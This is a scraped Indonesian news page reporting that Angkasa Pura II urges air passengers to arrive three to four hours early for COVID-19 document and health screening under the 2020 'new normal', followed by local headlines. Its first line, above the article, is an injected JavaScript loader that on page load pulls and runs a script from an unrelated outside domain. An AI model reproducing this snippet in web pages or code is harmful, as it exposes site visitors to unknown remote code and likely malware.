(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Era New Normal, Penumpang Harus Datang 4 Jam Sebelum Penerbangan


KANALKALIMANTAN.COM, JAKARTA – Calon penumpang pesawat diimbau untuk datang lebih awal tiga hingga empat jam ke bandara dikarenakan adanya sejumlah pemeriksaan baik dokumen maupun kesehatan dalam menyesuaikan kondisi normal baru atau new normal.

“Saat ini, kami memang mengimbau calon penumpang untuk datang ke bandara tiga sampai empat jam sebelum penerbangan karena ada mekanisme pemeriksaan atau ‘screening’,” kata DIrektur Utama PT Angkasa Pura II Muhammad Awaluddin kepada wartawan di Jakarta, ditulis Selasa (2/6/2020).

Para calon penumpang harus melewati sejumlah titik pemeriksaan (check point), pertama adalah verifikasi dokumen dan kedua adalah pemeriksaan kesehatan.

“Untuk memastikan keabsahan dokumen ada dua hal, dari pihak yang menebitkan dan yang memverifikasinya. Dua hal ini harus terpenuhi. Diverifikasi oleh pihak yang berkompeten untuk memvalidasi. Kalau dua-duanya dijalankan dengan benar pasti absah,” ujarnya.

Saat ini, Awaluddin mengatakan pihaknya tengah melakukan simulasi proses pra-penerbangan tersebut dengan maskapai agar penyesuaian normal baru ini berjalan dengan lancar.

Namun, ia akan mempercepat proses melalui digitalisasi sehingga kepastian seseorang dapat terbang atau tidak bisa diketahui dengan cepat dan waktu yang digunakan lebih efektif.

“Karena konsepnya menggunakan konsep baru pembatasan dan pengendaaian, ada metode ‘screening’ dan pemeriksaan yang hal ini bisa disolusikan dengan cepat dan efektif melalui digitalisasi,” ujarnya.

Sehingga, Awaluddin mengatakan pihaknya bisa memangkas waktu yang dibutuhkan untuk serangkaian pemeriksaan tersebut.

“Tapi paling tidak dua jam atau satu jam saja, sehingga lebih pasti dan minimum ‘connecting time’ dari calon penumpang di bandara lebih terukur. Kondisi inilah yang kita sedang gagas dengan maskapai, bahwa prosedur dan mekanisme ini harus berjalan,” katanya.

Mekanisme baru tersebut akan resmi berlaku pada 7 Juni 2020 saat pelarangan mudik berakhir sesuai dengan Keputusan Menteri Perhubungan Nomor KM 116 Tahun 2020 tentang Perpanjangan Masa Berlaku Peraturan Menteri Perhubungan Nomor PM 25 Tahun 2020 tentang Pengendalian Transportasi Selama Masa Mudik Idul Fitri Tahun 1441 Hijriah Dalam Rangka Pencegahan Penyebaran Corona Virus Disease 2019 (COVID-19).

Namun, Awaluddin berharap mekanisme tersebut sudah berjalan mulus sebelum 7 Juni 2020.

“Yang akan kita lakukan bisa saja sebelum tanggal 7 bisa saja dilakukan bertahap dengan maskapai tertentu. Hal ini untuk mempermudah mengukur efektivitas pelaksanaannya,” katanya. (antara/suara.com)

Reporter : antara/suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

3 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

7 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

7 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

7 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

9 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

10 jam ago

This website uses cookies.